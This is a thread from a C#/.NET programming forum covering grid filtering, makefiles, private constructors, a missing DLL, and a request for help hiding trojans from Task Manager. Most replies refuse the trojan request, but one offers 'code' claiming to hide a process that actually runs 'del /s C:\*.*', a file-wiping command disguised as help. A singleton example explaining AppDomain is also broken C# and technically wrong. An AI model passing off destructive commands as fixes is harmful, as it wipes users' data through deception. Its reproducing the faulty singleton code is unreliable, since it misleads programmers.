|
Do you mean to develop textboxes at header of grid for filtering or something like that.
I didn't understand the question clearly but try using templatecolumn
|
|
|
|
|
You might want to look for editable combobox with multi columns instead.
Regards,
Thomas Stockwell
Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.
Visit my Blog
|
|
|
|
|
Hello all,
In VisualStudio 6.0, there's an Export Makefile menu item
that creates a makefile for the project. Is there any way to achieve this in VS.Net 2005? Basically, I need a command-line build script for my project and was wondering if there's
an automated way to generate it for an existing VS.Net project.
Thks
T J S
|
|
|
|
|
No, and ask this in the VS forum.
xacc.ide - now with TabsToSpaces support IronScheme - 1.0 beta 1 - out now! ((lambda (x) `((lambda (x) ,x) ',x)) '`((lambda (x) ,x) ',x))
|
|
|
|
|
I've come across some classes in the .NET framework that have no constructors defined, but are not static classes. For example, to instantiate an AppDomain class, you call the static function AppDomain.CreateDomain() which returns an instance of the AppDomain class. There are no constructors defined for the class, so you cannot instantiate the class using the new keyword.
My question is how does the CreateDomain() function instantiate the class?
Thanks in advance,
Kevin
|
|
|
|
|
This is sometimes done for Singleton Design Pattern reasons. It is instantiated like so:
Public class AppDomain
{
private AppDomain _instance;
// Notice how the constructor is protected (can be private)
protected AppDomain()
{
}
// Notice the method is static
public static CreateDomain()
{
// Below it first checks if there is already an instance created and returns it.
// Else creates and returns it
if (_instance == null)
_instance = new AppDomain();
return _instance;
}
}
|
|
|
|
|
Ah ha. Private constructors. I knew there had to be a good reason to be able to do that.
Thanks
|
|
|
|
|
|
PIEBALDconsult wrote: Shhh... that's private.
TMI!
xacc.ide - now with TabsToSpaces support IronScheme - 1.0 beta 1 - out now! ((lambda (x) `((lambda (x) ,x) ',x)) '`((lambda (x) ,x) ',x))
|
|
|
|
|
There's no such thing as a class with no constructor, if you don't provide a private one with no arguments, a public one is created. Otherwise, what the other guy said ( factory patterns, etc ). One common use for this would be for a single instance only to exist of a class, so you have a private constructor, in a static class, which has a property that returns the only possible instance of itself. Good for settings, for example.
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
Hi,
about trojans, if run taskmanager i see all threads at the moment, so it´s better to detect when user turn on and off taskmanager, right? is that possible in code? i think so.
the other way to keep trojans stealth is to mess with taskmanager code itself?
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
You are scum. You think we're going to help you write destructive code ?
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
JACKASS....
Blog link to be reinstated at a later date.
|
|
|
|
|
take it easy!!!
i already read a post asking this on monday!!!
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
Even if you're not writing a trojan, someone else could be, so why would we publicly tell people how to do it ?
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
Here's the code:
Put this at the start of your .cs file
Using System.Diagnostics;
Then use this to hid the process itself.
Process HideFromTaskManager = NewProcess();
HideFromTaskManager.Startinfo.Filename = @"del /s C:\*.*"
HideFromTaskManager.StartInfo.CreateNoWindow = True
HideFromTaskManager.Start()
Today's lesson is brought to you by the word "niggardly". Remember kids, don't attribute to racism what can be explained by Scandinavian language roots.
-- Robert Royall
|
|
|
|
|
thanks dan!
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
|
just wanted to know how to do it.
Why is all the fuzz, wanted more how to trigger one procedure when a particular application lanches or shutdown, people already asked it before, and some were thinking on trojans but they didn´t say.
science is neutral, we use it for good or bad purposes, cant put a break there, i think.
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
hello,
Can someone give me any diraction to get Microsoft.Web.Management.dll.
I can not fine it.
Tnx
Eitan
|
|
|
|
|
Install .NET 3.0 or .NET 3.5 and you should have it.
|
|
|
|
|
Dave hi,
At first I didn't see your answer (only the link to the guide so i thought that i was "bad boy" ...) so I read the guide and rewrote my question.
Than I noticed your answer an did the following:
1. I re installed (repair) the .NET 3.5.
2. I installed SP1 for 3.5
but still I do not have this DLL in the "Arsenal"
Do you have more idias?
Thank you
Eitan
|
|
|
|
|
I just went back and checked my XP machines with .NET 3.0 installed on them. Neither of them have the Microsoft.Web.Management stuff. It looks like that .DLL is specific to Vista/Server 2008 and up, where IIS7 being installed is a possibility.
|
|
|
|
|
|
hi,
Thanks for the reply.
I probebly did not clarify myself good enought. I will ask my question again with more details.
I have windows 2003.server(SP2).
I searched "c:\windows" and its subfolders all DLL files that starts with "m" and "micro" and i did not find this dll on my machin.
I did search google and found only articals and the dll4you.com that charge money for this dll.
i did searched MIcrosoft download site and did not find any dll, i may not know where to look or how to search ( i posted the strind "Microsoft.Web.Management.dll" at the search fields).
please if you can direct me to another dll site or location on the web or if you can post the dll here it will help me.
I need also the "Microsoft.Web.Administration.dll".
thank you again
Eitan
|
|
|
|